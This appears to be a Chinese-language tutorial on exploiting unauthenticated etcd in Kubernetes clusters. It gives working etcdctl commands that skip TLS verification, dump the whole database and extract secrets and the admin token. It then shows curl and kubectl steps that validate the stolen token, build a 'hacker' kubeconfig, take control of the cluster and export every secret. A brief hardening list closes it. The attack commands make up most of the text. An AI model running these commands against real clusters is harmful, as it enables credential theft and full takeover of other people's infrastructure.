K8s-etcd漏洞利用
一、漏洞描述
etcd是一个高可用的key-value数据库,它为k8s集群提供底层数据存储。多数情形下,数据库中的内容没有经过加密处理,一旦etcd被黑客拿下,就意味着整个k8s集群失陷。
二、漏洞利用
etcd最大的安全风险是未授权访问。在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接暴露给外部黑客。 etcd 一般监听2379端口,对外暴露Client API,可以指定是否启用TLS,因此,这个端口可能是HTTP服务,也可能是HTTPS服务。扫描器可以检查2个接口,来判断是否存在未授权访问漏洞。第一个接口是 https://IP:2379/version, 页面返回内容类似
第二个接口是 https://IP:2379/v2/keys, 页面返回内容类似
dump etcd数据库
etcd Client API 有v2和v3两个版本,服务器也可能同时支持v2 v3。通过浏览器或curl访问,通常只作简单的验证,获取少量key的内容。我们可以通过etcdctl来直接dump数据库,在文件中快速翻看敏感信息。 从 https://github.com/etcd-io/etcd/releases/ 下载 得到etcdctl。通过如下命令可以遍历所有的key。
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
下面的命令,通过v3 API来dump数据库到 output.data
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'
格式是 一行key+一行value, 如下图所示:
攻陷K8s集群
上一步dump了etcd,下面尝试找到api server和所有证书。检索关
键字 advertiseAddress 或者 kubeAPIConfig 定位api server的地址:
在导出的数据中,还可以查找所有证书,检索 BEGIN CERTIFICATE,如图所示,可以发现etcd明文存了多个证书。黑客窃取证书后,未来可能实现长期控制该集群。
在不dump数据库的情形下,我们也可以直接查找secret相关 key,执行如下命令:
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only|sort|uniq| grep secret
如下图所示,攻击者最关心拿到admin的token
通过 get /registry/secrets/default/admin-token-557l2 拿到 token。如下图所示:
使用curl访问api server,确认token正确可用:
curl --header "Authorization: Bearer TOKEN" -X GET https://API_SERVER:6443/api -k
如果TOKEN错误,将返回401,如下所示:
{ "kind": "Status", "apiVersion": "v1", "metadata": {
}, "status": "Failure", "message": "Unauthorized", "reason": "Unauthorized", "code": 401}
如果TOKEN正确可用,则返回:
{ "kind": "APIVersions", "versions": [ "v1" ], "serverAddressByClientCIDRs": [ { "clientCIDR": "xxxx", "serverAddress": "xxxx" } ]}
执行kubectl config命令,来生成简单的临时配置文件
touch test_configkubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKENkubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://IP:6443/ --insecure-skip-tls-verifykubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hackerkubectl --kubeconfig=./test_config config use-context test_context
最后,通过该配置文件访问api server,达到控制k8s集群的目标:
kubectl --kubeconfig=./test_config get nodes -A
如下图所示,已经完全控制了整个集群
为了扩大权限,渗透更多关联系统,可kubectl导出所有secret,它的内容比之前etcd导出的可读性更高。
kubectl --kubeconfig=./test_config get secret -A -o custom-columns=:.metadata.name,:.metadata.namespace --no-headers | xargs -n 2 sh -c '(kubectl --kubeconfig=./test_config get secret -n $3 -o yaml $2; echo "") >> all_secrets_yaml.txt' -- {}
三、加固建议
-
建立etcd安全基线,禁止关闭证书校验
-
扫描发现、清理 etcd未授权安全漏洞。通过HIDS等建立发现和告警能力
-
api server 日志审计,建立异常调用发现能力
-
etcd 接入kms,实现内容加密后存储。黑客此时无法直接从etcd中得到token明文
-
api server 最小化访问控制Client IP段,不要暴露外网